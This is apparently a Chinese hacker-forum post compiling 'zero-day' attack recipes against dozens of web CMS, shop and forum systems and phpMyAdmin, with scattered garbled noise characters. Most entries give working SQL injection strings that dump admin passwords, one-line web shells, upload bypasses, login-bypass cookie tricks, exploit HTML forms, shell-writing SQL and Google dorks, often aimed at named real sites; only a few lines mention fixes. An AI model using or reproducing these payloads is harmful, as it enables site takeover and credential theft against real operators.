0day合集

admin

启航企业建站系统 cookie注入漏洞通杀所有版本
/ V. x. t' {2 m5 t" G% n7 B
% E: B. p2 W! D6 e直接上exploit:
javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
test:http://www.tb11.net/system/xitong/shownews.asp?id=210
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Asprain论坛 注册用户 上传图片就可拿到webshell
4 p5 A6 V, m  D8 j2 Y) M! C
( N/ o2 k1 F2 B, S0 \Asprain是一个适合于各中小学、中专、技校、职高建设校园论坛、师生交流论坛，一些教科研部门、公司企业建设内部论坛、IT技术爱好者建设技术交流论坛的免费论坛程序。
1 U( u5 A; i5 J+ A4 H/ Q1.txt存放你的一句话马 如：<%execute(request("cmd"))%>
2.gif 为一小图片文件，一定要小，比如qq表情图片
3:copy /b 2.gif+1.txt 3.gif 这样就伪造了文件头，但是现在传上去还不行，我接下来就用
4:copy /b 3.gif+2.gif 4.asp ok,现在文件头和文件尾都是正常的图片文件了
  L" ]" t) W" c5.q.asp;.gif
google：Powered by Asprain
. X3 h% W! R; }% ?--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

& F, f8 O: S0 E& b) WShopNum1全部系统存在上传漏洞。
  `: V& \0 Q. ?/ D- j* ?& H" T1 e
首先 在 http://www.shopnum1.com/product.html 页面查看任意产品详细说明。
按说明 提示登录后台。。
7 U8 b" z# Q' [在后台功能页面->附件管理->附件列表
$ d0 _/ |: `5 a0 X5 Q  T; b3 E可以直接上传.aspx 后缀木马
/ y( H3 t1 U5 x) l4 phttp://demo.shopnum1.com/upload/20110720083822500.aspx
4 O; Q: h" i( ?: D" r; X' Z) {--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
5 _. k, z! y- u' F: P' Z4 q3 E
牛牛CMS中小企业网站管理系统 上传漏洞
$ `6 O& i9 N+ z, S% E
* X7 D2 R8 O% ~牛牛CMS是中企商铺网专为中小企业网站开发的网站管理系统。
: S# M% [' Y+ `, _) R6 G# l后台:admin/login.asp
ewebeditor 5.5 Nday
, A  N4 F4 ?8 [3 Kexp:
$ B0 N& K+ a/ ]( I/ [<form?action="http://www.lz5188.net/Admin/WebEditor168/asp/upload.asp?action=save&type=image&style=popup&cusdir=Mr.DzY.asp"?method=post?name=myform?enctype="multipart/form-data">?
<input?type=file?name=uploadfile?size=100><br><br>?
  r9 r$ N. u/ g1 B) R9 ~1 }<input?type=submit?value=upload>?
</form>
  |8 d" `  B* U: |$ Q# j( M$ }ps:先上传小马.
* R7 R2 P! }& V: a0 linurl:member/Register.asp 您好，欢迎来到立即注册立即登录设为首页加入收藏
" P3 Q+ T0 W) d) m  f$ n
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

YothCMS 遍历目录漏洞

. y9 f- [) I9 ~优斯科技企业网站管理系统(YothCMS)是一款完全开源免费的CMS。
& p4 |6 J8 V9 P0 j默认后台:admin/login.asp
2 k0 B- H5 R. Q遍历目录:
$ a; y7 M: |0 A8 K# Gewebeditor/manage/upload.asp?id=1&dir=../
. c9 F1 j1 J! Vdata:
6 P! _' b& t* H9 d8 Fhttp://www.flycn.net/%23da%23ta%23\%23db_%23data%23%23.asa
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
9 ^' X" {* {8 E! V( ^7 L
Net112企业建站系统 1.0
2 [/ S. J8 ~( ?5 b
源码简介：
( c, y0 ?- K7 b+ e3 V* d; R) _Net112企业建站系统，共有：新闻模块，产品模块，案例模块，下载模块，相册模块，招聘模块，自定义模块，友情链接模块 八大模块。
: z& d5 n; v& V. @添加管理员：
: v( P4 j( x& w  {; R% D! j' Chttp://www.0855.tv/admin/admin.asp?action=add&level=2
+ J+ e) R& r2 j其实加不加都不是很重要，后台文件都没怎么作验证。
1 y. @- i$ @" ]9 ]) G* F7 U9 `上传路径：
+ l$ R* G0 T* `http://www.0855.tv/inc/Upfile.as ... 0&ImgHeight=200
- H, [: E' n* ^http://www.0855.tv/inc/Upfile.asp?Stype=2
: T+ ]8 L7 R$ d' f! N! P8 {9 W怎么利用自己研究。
; E/ E0 G- A- P/ r$ ], ~' Y遍历目录：
& j, f) g( n6 ~, P9 B5 d9 V& Dhttp://www.0855.tv/admin/upfile.asp?path=../..
8 N  ^4 C! o) p- I$ B: A如：
http://www.0855.tv/admin/upfile.asp?path=../admin
http://www.0855.tv/admin/upfile.asp?path=../data
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
' t- O! X. r2 j9 R
易和阳光购物商城通杀 上传漏洞
8 k! `, I# {% t# M; I& |
- e+ J: Z2 P/ L; x前提要求是IIS6.0+asp坏境。
7 Y+ w, g- V8 n0 Y漏洞文件Iheeo_upfile.asp
过滤不严.直接可以iis6.0上传
+ M; I) j0 n9 ]把ASP木马改成0855.asp;1.gif
9 X$ ]' \" z/ i: J直接放到明小子上传
! x8 t# B" a  v$ I  m% v& ]- }% k1 @$ pGoogle搜索：inurl:product.asp?Iheeoid=
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  y) u) G& V: W2 e5 ephpmyadmin后台4种拿shell方法
" b! ~9 K% a3 f1 g6 L" V. g
方法一：
5 ]% t: v8 N: ?7 DCREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
+ N6 W, J: I9 X  u# q  ASELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php
0 S( t; K3 w4 W# P! d一句话连接密码：xiaoma
4 B2 V9 h+ h5 D; H9 V" u8 P/ h方法二：
Create TABLE xiaoma (xiaoma1 text NOT NULL);
" z& b% y7 `. ]5 f; j( bInsert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
) p& q. d0 L0 W: }; U( Lselect xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
) |- v  L* J) Q" Y, F6 NDrop TABLE IF EXISTS xiaoma;
+ X- s5 z8 z3 j2 Y+ s方法三：
读取文件内容：    select load_file('E:/xamp/www/s.php');
写一句话：select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
$ n5 B. ]: ~5 v4 ~+ Ocmd执行权限：select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
# i3 @# {+ ]% x' _2 G! V2 t方法四：
3 {1 Y8 q: L5 t: k, kselect load_file('E:/xamp/www/xiaoma.php');
, m% Y: D: W' D; q; fselect '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
" X5 t7 R' r( N. Q0 D--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

: o# n/ s1 a8 C& ~: I2 }' t传信网络独立开发网站源码0day漏洞
! U, Y' l: d! C  p8 B3 a
9 Z0 A) |: e/ Z! m5 V. H: [后台system/login.asp
进了后台有个ewebeditor
3 u1 u* w2 H; C( H, K6 B- U6 i, \: gGoogle 搜索inurl:product1.asp?tyc=
, s* R) T# A6 h& i3 _编辑器漏洞默认后台ubbcode/admin_login.asp
数据库ubbcode/db/ewebeditor.mdb
默认账号密码yzm 111111

拿webshell方法
% o# W6 [8 v/ A9 l0 P* Y登陆后台点击“样式管理”-选择新增样式
样式名称:scriptkiddies 随便写
路径模式：选择绝对路径
图片类型：gif|jpg|jpeg|bmpasp|asa|aaspsp|cer|cdx
图片类型比如就是我们要上传的ASP木马格式
上传路径：/
9 l# G1 n' {1 A! U7 O图片限制：写上1000 免的上不了我们的asp木马
上传内容不要写
可以提交了
  w1 Z$ G' f) _. B样式增加成功！
/ [8 p6 x: E' C/ T& h返回样式管理 找到刚才添加的样式名称 然后按工具栏 在按新增工具栏
按钮设置 在可选按钮 选择插入图片然后按》 -然后保存设置
# \" Q9 r) X) q6 h$ x网页地址栏直接输入ubbcode/Upload.asp?action=save&type=&style=scriptkiddies
3 t4 o$ |, f2 a( Y上ASP木马 回车 等到路径

! G: T/ e8 n4 G' \/ m7 v* f后台：system/login.asp
Exp:
and 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
测试:
/ L" s* B: A5 |' Fhttp://www.zjgaoneng.com/product_show.asp?id=9 and 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
2 i& Q* s; a1 B4 Y( {% vhttp://www.yaerli.com/product_show.asp?id=245 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14 from master
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

foosun 0day 最新注入漏洞
5 S: i( V2 j5 d# m: v: T
+ g% t7 H6 s% R0 T漏洞文件：www.xxx.com/user/SetNextOptions.asp
6 {5 P5 ]% P1 p1 ~  ^, |1 a$ L利用简单的方法：
; V3 |* n# J, ^& q( {% Z3 G暴管理员帐号：
5 d5 N) {/ y) |0 C' w' hhttp://www.i0day.com/user/SetNex ... amp;ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin
, H3 \  O; ?6 j7 Z0 Y: P( |暴管理员密码：
& E9 U4 A- V# G1 T4 N/ Phttp://www.i0day.com/user/SetNex ... amp;ReqSql=select+1,admin_pass_word,
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* B3 f2 i- J  ^# \# V
网站程序的版权未知！

默认网站数据库：
www.i0day.com/data/nxnews.mdb
ewebeditor 在线编辑器：
编辑器数据库下载地址：www.i0day.com/ewebeditor/db/ewebeditor.mdb
登录地址：ewebeditor/admin_login.asp
" Q" N. }* K0 q) n  F默认密码：admin  admin
登陆后可遍历目录：ewebedtior/admin_uploadfile.asp?id=22&dir=../../data

Sql注入漏洞：
7 R( r/ @. ]8 @/ P8 J+ y6 Bhttp://www.i0day.com/detail.asp?id=12
exp:
union select 1,admin,password,4,5,6,7,8 from admin
爆出明文帐号/密码

6 |9 t9 `( X& g- X1 b& [! g上传漏洞：
  y. l. B6 c0 z5 {后台+upfile.asp
3 q' z+ Z* D! L/ h7 m2 b如：
3 P* o9 J) }$ K$ Jhttp://www.i0day.com/manage/upfile.asp 可以用工具。如明小子。
6 Z1 b+ z5 Z% W! g4 I; W/ Lshell的地址：网址+后台+成功上传的马
; X: W6 v/ F6 T1 N" Qgoogle:inurl:news.asp?lanmuName=
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4 I/ S7 f+ F; p/ {$ U! d1 |; C, H
dedecms最新0day利用不进后台直接拿WEBSHELL
. J3 I2 q! d- e0 f2 ?
拿webshell的方法如下：
网传的都是说要知道后台才能利用，但不用，只要 plus 目录存在，服务器能外连，就能拿shell.
6 P4 t. V: u* t/ V2 X( e前题条件，必须准备好自己的dede数据库，然后插入数据：
% }% x2 c0 ]% Zinsert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
% y) A2 @* {# r<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
- d/ o: e6 C- C3 T& `<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
* ]% y3 m  \8 }- B3 D' l! q# `! \<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
% x+ M5 D3 W5 Z2 R5 K<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
! a) m4 _- a+ D+ _<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
0 C* F# ^( A7 r8 Y) \<input type="text" value="true" name="nocache" style="width:400">
# K* y8 l7 H, \<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
& A$ e/ u8 x( ]% V{
) \: h/ x8 L: kdocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
: ?; ~+ s: I- V/ L2 Z-----------------------------------------------------------------------------------------------------------------------------------------------
' p  w7 G$ j. P2 {: z
  _) Y9 C7 q2 f, l9 F; ldedecms织梦暴最新严重0day漏洞
bug被利用步骤如下：
/ e2 Q0 n) p  G9 J1 A2 e8 ~! O- o5 ihttp://www.2cto.com /网站后台/login.php?dopost=login&validate={dcug}&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
& X( ^) ~8 r6 a" [$ `把上面{}上的字母改为当前的验证码，即可直接进入网站后台。
-------------------------------------------------------------------------------------------------------------------------------------------
3 r9 n$ e9 i% x( M
3 L: P9 Q9 U) h2 r& f3 P多多淘宝客程序上传漏洞
  w* Q! z: y$ T: b5 f5 H* a& ?漏洞页面：
admin\upload_pic.php
传送门：
# g8 W, K9 j7 I% S6 Zhttp://www.www.com/admin/upload_pic.php?uploadtext=slide1
PS:copy张图片马 直接  xxx.php 上传抓包地址！
" u9 \  v- R) O, ^) O/ x- X------------------------------------------------------------------------------------------------------------------------------------------------------

( D& t) j$ M$ Z3 u3 v7 P无忧公司系统ASP专业版后台上传漏洞
漏洞文件 后台上传
admin/uploadPic.asp
漏洞利用 这个漏洞好像是雷池的
http://forum.huc08.com/admin/upl ... ptkiddies.asp;& upload_code=ok&editImageNum=1
; |  _* y+ M" g5 a% b# h, t等到的webshell路径：
' n# J1 o: \, ~+ @/UploadFiles/scriptkiddies.asp;_2.gif
" j3 _: }7 h$ P# K---------------------------------------------------------------------------------------------------------------------------------------------------

住哪酒店分销联盟系统2010
2 a$ x0 X% k2 C7 \+ L- w1 ]8 t7 pSearch：
inurl:index.php?m=hotelinfo
( K7 F1 x/ v8 `+ Qhttp://forum.huc08.com /index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10%20from%20zhuna_admin
默认后台：index.php?m=admin/login
/ t3 Q  U& m: P; a, @1 ~8 X--------------------------------------------------------------------------------------------------------------------------------------------------

inurl:info_Print.asp?ArticleID=
7 F% e7 |! a" h  H' f9 O; `后台 ad_login.asp
爆管理员密码：
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
------------------------------------------------------------------------------------------------------------------------------------------------------------

& P* v8 o4 s& t3 q& n搜索框漏洞！
$ P8 c- K. Y4 H0 A& A5 u%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='
' c0 {" l: j. a" N--------------------------------------------------------------------------------------------------------------------------------------------------------
7 b3 s. @- }5 ]6 w
关键字：
inurl:/reg_TemletSel.asp?step=2
或者
8 D* f  U2 X) N/ V电子商务自助建站--您理想的助手
-------------------------------------------------------------------------------------------------------------------------------------------------
* D7 Y1 Y6 q0 O+ B# F5 m+ X7 L
iGiveTest 2.1.0注入漏洞
& ^' v9 T' v2 |0 D& f. q9 b6 z% xVersion: <= 2.1.0
/ Z# D6 _9 d: V* x8 w4 `0 `# Homepage: http://iGiveTest.com/
( o) ~  v: ]$ A: D- }6 j3 l; b谷歌关键字: “Powered by iGiveTest”
随便注册一个帐号。然后暴管理员帐号和密码
http://www.xxxx.com/users.php?ac ... r=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1
------------------------------------------------------------------------------------------------------------------------------------------------
+ F$ \7 R# F/ o2 q
CKXP网上书店注入漏洞
6 i4 l8 n* Q7 y" U- v工具加表:shop_admin 加字段:admin
/ B6 ^1 y8 O2 c/ R" C3 l) y后台:admin/login.asp
登陆后访问:admin/editfile.asp?act= 直接写马.也可以直接传马:admin/upfile1.asp?path=/
/ K" _& J: Y" X; h, ]9 n0 v* L- N$ W- ainurl:book.asp 请使用域名访问本站并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- _6 e* p& h( P/ M1 m# \
段富超个人网站系统留言本写马漏洞
源码下载：http://www.mycodes.net/24/2149.htm
addgbook.asp 提交一句话。
连接： http://www.xxxx.tv/date/date3f.asp
4 X5 @5 W" R9 ~) c; D" fgoogle:为防批量，特略！
0 ^5 d. `4 ?3 c9 \-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
( i9 c" l; a0 h) \
智有道专业旅游系统v1.0 注入及列目录漏洞
默认后台路径：/admin/login.asp
& _9 [, w+ x  F* ~0 b* ]; D. M- g默认管理员：admin
+ g* j3 ?, n" d( M3 l7 T- H默认密码：123456
0 j8 S0 i. w( T: F$ ASQL EXP Tset:
http://www.untnt.com/info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15 from admin
9 ~4 |- b6 ?% D+ y; v4 V" E------------------------------------------------------------------------------------------------------------------------------------------------------------------------
6 Y  B5 a) z0 y* Q% O3 J7 I
8 o5 c4 [& y( ~$ {7 @4 Z. Eewebeditor(PHP) Ver 3.8 本任意文件上传0day
6 C3 s, m3 |; A' ^0 I0 s% X. n8 D' {EXP：
<title>eWebeditoR3.8 for php任意文件上EXP</title>
( f0 e. ~& r9 V! u, r7 e<form action="" method=post enctype="multip
- }' [0 s- v; A9 kart/form-data">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000">
6 d& k' U. [% c5 SURL:<input type=text name=url value="http://www.untnt.com/ewebeditor/" size=100><br>
$ A% i/ `2 C* N9 s: Y# T. u) T<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1">
file:<input type=file name="uploadfile"><br>
<input type=button value=submit onclick=fsubmit()>
/ Q' h  X' Q, l1 g2 I2 U</form><br>
; i9 X7 w: U4 P( u<script>
function fsubmit(){
& ]6 L5 }1 F! L( ^5 J1 L# iform = document.forms[0];
form.action = form.url.value+''php/upload.php?action=save&type=FILE&style=toby57&language=en'';
' g' d; [3 i# I( e) i2 f" Oalert(form.action);
form.submit();
}
</script>
: v; E+ z1 t5 J9 v6 V( b注意修改里面ewebeditor的名称还有路径。
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------

' O% C3 U9 c0 ^8 E1 f提交’时提示ip被记录 防注入系统的利用
" n, _3 e  f3 [6 d网址：http://www.xxx.com/newslist.asp?id=122′
0 N8 C5 J2 V+ G4 `; |: i提示“你的操作已被记录!”等信息。
利用方法：www.xxx.com/sqlin.asp看是否存在，存在提交http://www.xxx.com/newslist.asp?id=122‘excute(request("TNT"))写入一句话。
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  T. p( |3 l* F! P# s西部商务网站管理系统 批量拿shell-0day
5 y$ P$ X: o% N: m# T这站用的是SQL通用防注入程序 V3.0,恩,这东西可不好绕,我记得当初我有写过一个文章 通过提交一句话直接拿shell的..唯一的前提是存储记录ip的数据库必须是.asp或.asa才行..看了下sqlin.mdb
) Z8 a2 _) I6 y! }) @  t1:admin_upset.asp 这个文件有个设置上传后缀的地方.. 很简单,它直接禁止了asp,asa.aspx 还有个cer可以利用嘛
2:同样是admin_upset.asp 这个文件不是入库的 他是直接在htmleditor目录生成个config.asp文件...Ok不用多说,插个一句话搞定...注意闭合
3:admin_bakup.asp 备份数据库的..但是得本地构造...调用了filesystemobject 怎么利用就不强调了..IIS的bug大家都懂
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
$ G' |6 L7 o1 \8 [. t
4 J3 A" m2 t0 X3 \! w4 C6 hJspRun!6.0 论坛管理后台注入漏洞

SEBUG-ID:20787 发布时间:2011-04-30 影响版本:
JspRun!6.0
漏洞描述:
- [$ o. g7 g' d0 y. eJspRun!论坛管理后台的export变量没有过滤，直接进入查询语句，导致进行后台，可以操作数据库，获取系统权限。
在处理后台提交的文件中ForumManageAction.java第1940行
String export = request.getParameter("export");//直接获取，没有安全过滤
if(export!=null){
List&gt; styles=dataBaseService.executeQuery("SELECT s.name, s.templateid, t.name AS tplname, t.directory, t.copyright FROM jrun_styles s LEFT JOIN jrun_templates t ON t.templateid=s.templateid WHERE styleid='"+export+"'");//进入查询语，执行了...
" L; }: a* i1 f) z3 B3 i5 D  _8 gif(styles==null||styles.size()==0){
* p! Z  Z) n  e( t9 n<*参考
nuanfan@gmail.com
9 x' U& E3 G1 c1 a# u0 s*> SEBUG安全建议:
( a. [7 t( k  }7 V! Qwww.jsprun.net
（1）安全过滤变量export
, s; @, o8 k6 Q（2）在查询语句中使用占位符
9 V5 g/ r( _5 z- g% Q------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

1 l# f$ P$ w2 {3 W2 N乌邦图企业网站系统 cookies 注入
9 \9 I  v# o2 b, j
程序完整登陆后台:/admin/login.asp
2 O1 ^% _9 A" F. X7 h6 z默认登陆帐号:admin 密码:admin888
语句：(前面加个空格)
5 f: M0 L* P( [- xand 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin
或者是16个字段：
, c  Z8 D6 G. X$ R5 t, E& s- {and 1=2 union select 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin
爆不出来自己猜字段。
注入点：http://www.untnt.com/shownews.asp?=88
. ^6 o* v7 E* |- ]getshell:后台有备份，上传图片小马。备份名：a.asp 访问 xxx.com/databakup/a.asp
关键字：
inurl:shownews?asp.id=
$ s4 y' q9 Z' N6 ~-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  x; K4 p; [  U
0 g- E+ J  a: [& V% v6 T' f4 \3 G6 ICKXP网上书店注入漏洞
% ?  f" t* E/ q5 P" k
% }# q2 E) m5 U- B工具加表:shop_admin 加字段:admin
! `) O# b" h" J3 F后台:admin/login.asp
% K. y  ^2 i: h6 d( x) h3 ?. g登陆后访问:admin/editfile.asp?act= 直接写马.也可以直接传马:admin/upfile1.asp?path=/
inurl:book.asp 请使用域名访问本站并不代表我们赞同或者支持读者的观点。我们的立场仅限于传播更多读者感兴趣的信息
  ]# K- E+ u2 ^3 i  @' i7 U---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8 {5 T3 R9 x/ F
5 y* `$ {. e4 m- t* W/ TYxShop易想购物商城4.7.1版本任意文件上传漏洞

7 D6 t4 R0 a7 r/ j$ {9 |. l$ Y8 chttp://xxoo.com/controls/fckedit ... aspx/connector.aspx
跳转到网站根目录上传任意文件。
如果connector.aspx文件被删可用以下exp，copy以下代码另存为html，上传任意文件
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxoo.net/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?Type=Media" method="post">
( ]( m! O$ f) ~: s1 u/ K& s# RUpload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
6 P; X; u; C. n  |% b6 Y$ H</form>
; m* W. G2 t0 t! J-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
7 s/ P, j9 q8 o$ D) b4 X5 Q
SDcms 后台拿webshell
& V. F; {, l, z7 Q7 C: d
0 ^& m* t  j+ n. r第一种方法：
进入后台-->系统管理-->系统设置-->系统设置->网站名称;
6 }* I- H: P3 _1 q! Z把网站名称内容修改为   "%><%eval request("xxx")'    //密码为xxx
用菜刀链接http://www.xxx.com/inc/const.asp  就搞定了。
第二种方法：
进入后台-->系统管理-->系统设置-->系统设置->上传设置;
6 Q6 V4 v. G4 b8 q在文件类型里面添加一个aaspsp的文件类型，然后找一个上传的地方直接上传asp文件！ 注：修改文件类型后不能重复点保存！
# H" e5 `3 t; j, w- c% ~第三种方法：
6 f$ g" G3 e0 }9 Q7 @进入后台-->界面管理-->模板文件管理-->创建文件
文件名写入getshell.ashx
" B( j% ]2 d& c内容写入下面内容：
/====================复制下面的=========================/
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
  N& a+ E7 q7 \+ Rpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
8 q1 R8 B. k. A* u; o# ]: n6 p4 W1 c7 GStreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));
file1.Write("<%response.clear:execute request(\"xxx\"):response.End%>");
* N6 f9 m) |3 \& Qfile1.Flush();
9 U/ m8 h. J0 E0 d6 Sfile1.Close();
}
public bool IsReusable {
get {
return false;
5 c$ P5 |3 l( M$ S# d}
}
}
/=============================================/
/ M$ X! t5 H$ H$ d  z- Y访问这个地址：http://www.xxx.com/skins/2009/getshell.ashx
会在http://www.xxx.com/skins/2009/目录下生成getshell.asp 一句话木马 密码为xxx 用菜刀链接
, ~+ P) A" _6 u. v' X, p-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

ESCMS网站管理系统0day
: K& Q( J" }8 `: c
后台登陆验证是通过admin/check.asp实现的
' S5 H$ P" x% ~0 ^! Y7 b+ d
; y! g# _# t- X' w1 j( s& a$ l3 w& {首先我们打开http://target.com/admin/es_index.html
. |7 z) \2 A4 J5 Z+ k0 k然后在COOKIE结尾加上
7 g" z- R8 E9 z" {* j; ESCMS$_SP2=ES_admin=st0p;
修改,然后刷新
进后台了嘎..
  m# y8 \/ Z5 ]  S3 w( T! J然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL

利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.
( q$ u+ \% h5 p/ j1 ?嘿嘿,成功了,shell地址为http://target.com/admin/diy.asp
2 G0 M7 k3 S7 X: c0 u8 |存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..
4 E: {' d4 S1 ?2 U在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了
8 K5 I4 h" m$ L3 P! I------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

宁志网站管理系统后台无验证漏洞及修复
' u! z9 S4 K% }
网上搜了一下,好像没有发布.如有雷同纯粹巧合!
官方网站:www.ningzhi.net
学校网站管理系统 V.2011版本
/ o, V( @4 g  i! Ahttp://down.chinaz.com/soft/29943.htm
$ b0 z8 h. s5 H: T0 Y" a# \! z其它版本(如:政府版等),自行下载.
6 ?' M" U: @  v' r6 p3 c5 x漏洞说明:后台所有文件竟然都没有作访问验证...相当无语...竟然用的人还很多.汗~~~
+ N1 ]" i9 t5 ]) O( `& dlogin.asp代码如下:
: f$ o5 [8 K( q4 k6 K* k: K<%  response.Write"<script language=javascript>alert('登陆成功！请谨慎操作！谢谢！');this.location.href='manage.asp';</script>" %>
manage.asp代码我就不帖出来了.反正也没验证.
! S& J5 h0 v. ?6 O3 T1 X只要访问登陆页就可以成功登陆.....蛋疼~~~ 对此本人表示不理解!
. A7 ^1 S5 P' B' G2 H0 I! [% m漏洞利用:
直接访问http://www.0855.tv/admin/manage.asp
+ ?- o/ H8 J0 i数据库操作:http://www.0855.tv/admin/manage_web.asp?txt=5&id=web5
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
1 s) |5 R3 v& R" Z: }/ p
7 i# u2 D: i: e# mphpmyadmin拿shell的四种方法总结及修复
% ~, u0 m1 Y) s2 R
1 B: k, F0 G  j) p1 {方法一：
, l; R7 ]1 c& X/ s0 J% J# gCREATE TABLE `mysql`.`study` (`7on` TEXT NOT NULL );
, y& F/ W! x* k( {4 SINSERT INTO `mysql`.`study` (`7on` )VALUES ('<?php @eval($_POST[7on])?>');
SELECT 7onFROM study INTO OUTFILE 'E:/wamp/www/7.php';
! P1 o5 T4 t& \+ o0 O" H----以上同时执行，在数据库: mysql 下创建一个表名为：study，字段为7on，导出到E:/wamp/www/7.php
) J! y0 p0 z+ X( n6 Q    一句话连接密码：7on
- q) A" n6 k2 z; W方法二：
读取文件内容：    select load_file('E:/xamp/www/s.php');
, k# t7 A+ M2 h. f7 p6 B/ _- Y3 o写一句话：    select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/study.php'
cmd执行权限：    select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
方法三：
JhackJ版本 PHPmyadmin拿shell
( X6 A& ^( _) Z: x5 F& rCreate TABLE study (cmd text NOT NULL);
+ n, J0 q5 D5 P/ G9 @$ f% fInsert INTO study (cmd) VALUES('<?php eval($_POST[cmd])?>');
select cmd from study into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS study;
' f4 u. a; v) W5 B<?php eval($_POST[cmd])?>
CREATE TABLE study(cmd text NOT NULL );# MySQL 返回的查询结果为空(即零行)。
INSERT INTO study( cmd ) VALUES ('<?php eval($_POST[cmd])?>');# 影响列数： 1
SELECT cmdFROM study INTO OUTFILE 'E:/wamp/www/7.php';# 影响列数： 1
